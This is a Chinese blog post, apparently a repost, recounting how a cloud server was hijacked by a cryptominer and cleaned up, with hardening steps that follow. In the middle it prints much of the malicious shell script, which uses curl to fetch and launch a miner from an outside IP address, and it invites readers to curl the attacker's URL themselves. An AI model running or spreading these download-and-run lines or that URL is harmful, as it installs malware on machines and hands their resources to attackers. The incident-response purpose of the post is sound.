线上服务器用的是某讯云的, 欢快的完美运行着 Tomcat,MySQL,MongoDB,ActiveMQ 等程序. 突然一则噩耗从前线传来: 网站不能访问了.
此项目是我负责, 我以 150 + 的手速立即打开了服务器, 看到 Tomcat 挂了, 然后顺其自然的重启, 启动过程中直接被 killed, 再试试数据库, 同样没成功, 多次尝试甚至重启机器无果. 机制的我打了个 top, 出现以下内容:
这是谁运行的程序? 不管三七二十一先杀掉再说, 因为它就是 Tomcat 等程序启动不了的元凶. 然而并没有什么卵用, 过一会再看那个东西又跑出来占 cpu. 怀疑是个定时任务:
什么鬼, 是个图片? 立即访问了一下:
好尴尬, 但是心思细腻的我早知道没这么简单, 肯定只是伪装, crul 过去是下面的脚本, 过程就是在挖矿:
- #!/bin/sh
- pkill -9 142.4.124.164
- pkill -9 192.99.56.117
- pkill -9 jva
- pkill -f ./atd
- pkill -f /tmp/wa/httpd.conf
- pkill -f 108.61.186.224
- pkill -f 128.199.86.57
- pkill -f 67.231.243.10
- pkill -f 142.4.124.164
- pkill -f 192.99.56.117
- pkill -f 45.76.102.45
- pkill -f AnXqV.yam
- pkill -f BI5zj
- pkill -f Carbon
- pkill -f Duck.sh
- pkill -f Guard.sh
... 中间省略
- /sbin/sysctl -w vm.nr_hugepages=`$num`
- nohup ./suppoie -c config.json -t `echo $cores`>/dev/null &
- fi
- ps -fe|grep -w suppoie |grep -v grep
- if [ $? -eq 0 ]
- then
- pwd
- else
- curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
- curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
- chmod 777 /var/tmp/suppoie
- cd /var/tmp
- proc=`grep -c ^processor /proc/cpuinfo`
- cores=$((($proc+1)/2))
- num=$(($cores*3))
- /sbin/sysctl -w vm.nr_hugepages=`$num`
- nohup ./suppoie -c config.json -t `echo $cores`>/dev/null &
- sleep 3
- fi
- if [ $? -eq 0 ]
- then
- pwd
- else
- curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
- curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
- chmod 777 /var/tmp/suppoie
- cd /var/tmp
- proc=`grep -c ^processor /proc/cpuinfo`
- cores=$((($proc+1)/2))
- num=$(($cores*3))
- /sbin/sysctl -w vm.nr_hugepages=`$num`
- nohup ./suppoie -c config.json -t `echo $cores`>/dev/null &
- fi
- echo "runing....."
有兴趣的同学想查看以上完整源代码, 命令行运行下面指令 (不分操作系统, 方便安全无污染):
curl 192.99.142.235:8220/logo3.jpg
既然知道它是个定时任务, 那就先取消了它, 并且看看它是谁在运行:
杀掉, 找到存放目录:
进入临时目录:
被我发现配置文件了, 先来看看内容:
虎躯一震, 发现了不少信息啊, user 是他的 server 的登录用户, 下面是密码, 只可惜加密过, 应该找不到对方. 算了, 大度的我先不和你计较. 干掉这两个文件后再查看 top:
解决办法
找到寄生的目录, 一般都会在 tmp 里, 我这个是在 / var/tmp/. 首先把 crontab 干掉, 杀掉进程, 再删除产生的文件. 启动 Tomcat 等程序, 大功告成!
等等, 这远远不够, 考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了, 修复漏洞才对, 不然你杀掉进程删掉文件后, 黑客后门进来 history 一敲, 都知道你做了啥修复手段.
所以上面办法治标不治本, 我后续做了以下工作:
1. 把所有软件升级到新版本, 修复 redis 的后门, 配置 bind 选项, 限定可以连接 Redis 服务器的 IP. 配置 AUTH, 设置密码.
2. 修改所有软件默认端口号
3. 打开 ssh/authorized_keys, 删除不认识的密钥
4. 删除用户列表中陌生的帐号
5. 封了他的 ip
6.SSH 使用密钥登录并禁止口令登录 (这个一般是加运维一个人的秘钥)
木马原因, 估计是 redis 漏洞导致:
http://blog.jobbole.com/94518/
最好的方式: 将主机镜像, 找出病毒木马, 分析入侵原因. 检查业务程序, 重装系统, 修复漏洞, 再重新部署系统.
写在最后, 网友提供的一劳永逸终极解决办法:
把你自己的挖矿脚本挂上去运行, 这样别人就算挂脚本也跑不起来了.
来源: https://yq.aliyun.com/articles/637475